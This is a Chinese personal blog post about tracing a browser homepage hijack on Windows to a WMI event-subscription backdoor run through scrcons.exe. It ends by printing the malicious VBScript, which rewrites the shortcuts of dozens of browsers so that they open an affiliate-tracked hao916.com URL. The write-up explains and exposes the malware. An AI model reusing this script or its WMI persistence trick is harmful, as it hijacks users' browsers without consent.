用了许多年的 Mac 后,我又用回了 Windows。

但最近却遇到个坑爹的问题——我的浏览器首页被劫持了。

一开始的时候我是懵逼的,我看到我的浏览器设置里的首页是完全正常的,但为什么一打开浏览器就去了 http://hao916.com 然后跳转到 http://hao123.com 了呢?

后来发现,原来是浏览器的快捷方式被修改了…………

那好办,删掉后面的链接不就好了。

但事实证明,毕竟我还是太年轻……后面的链接过了一段时间又回来了…………

于是我就对系统查了个遍。

进程?启动项?没异常啊。

服务?计划任务?也没看到啥可疑的。

那还可能是什么??????? I’m angry!

于是我开出了 Process Monitor。你再怎么样总得操纵这个文件吧,我就守在这里,盯着这个快捷方式,看你什么时候出动了我就把你抓了。

终于,皇天不负有心人……

凶手就是你了!scrcons.exe!

(老大!我是无辜的!我可是地地道道的系统程序啊!)

诶,这么一说也对啊。

于是我就去查了一下……原来有 WMI 这种东西。这还真是搞后门的好东西。

用 WMI Event Viewer 一看,原来如此……

最后附上脚本代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
On Error Resume Next
Const link = "http://hao916.com/?r=yx37n&m=d1"
Const link360 = "http://hao916.com/?r=yx37n&m=d1&s=3"
browsers = "114ie.exe,115chrome.exe,1616browser.exe,2345chrome.exe,2345explorer.exe,360se.exe,360chrome.exe,avant.exe,baidubrowser.exe,chgreenbrowser.exe,chrome.exe,firefox.exe,greenbrowser.exe,iexplore.exe,juzi.exe,kbrowser.exe,launcher.exe,liebao.exe,maxthon.exe,niuniubrowser.exe,qqbrowser.exe,sogouexplorer.exe,srie.exe,tango3.exe,theworld.exe,tiantian.exe,twchrome.exe,ucbrowser.exe,webgamegt.exe,xbrowser.exe,xttbrowser.exe,yidian.exe,yyexplorer.exe"
lnkpaths = "C:\Users\Public\Desktop,C:\ProgramData\Microsoft\Windows\Start Menu\Programs,C:\Users\sticn\Desktop,C:\Users\sticn\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch,C:\Users\sticn\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\StartMenu,C:\Users\sticn\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar,C:\Users\sticn\AppData\Roaming\Microsoft\Windows\Start Menu\Programs"
browsersArr = Split(browsers,",")
Set oDic = CreateObject("scripting.dictionary")
For Each browser In browsersArr
oDic.Add LCase(browser), browser
Next
lnkpathsArr = Split(lnkpaths,",")
Set oFolders = CreateObject("scripting.dictionary")
For Each lnkpath In lnkpathsArr
oFolders.Add lnkpath, lnkpath
Next
Set fso = CreateObject("Scripting.Filesystemobject")
Set WshShell = CreateObject("Wscript.Shell")
For Each oFolder In oFolders
If fso.FolderExists(oFolder) Then
For Each file In fso.GetFolder(oFolder).Files
If LCase(fso.GetExtensionName(file.Path)) = "lnk" Then
Set oShellLink = WshShell.CreateShortcut(file.Path)
path = oShellLink.TargetPath
name = fso.GetBaseName(path) & "." & fso.GetExtensionName(path)
If oDic.Exists(LCase(name)) Then
If LCase(name) = LCase("360se.exe") Then
oShellLink.Arguments = link360
Else
oShellLink.Arguments = link
End If
If file.Attributes And 1 Then
file.Attributes = file.Attributes - 1
End If
oShellLink.Save
End If
End If
Next
End If
Next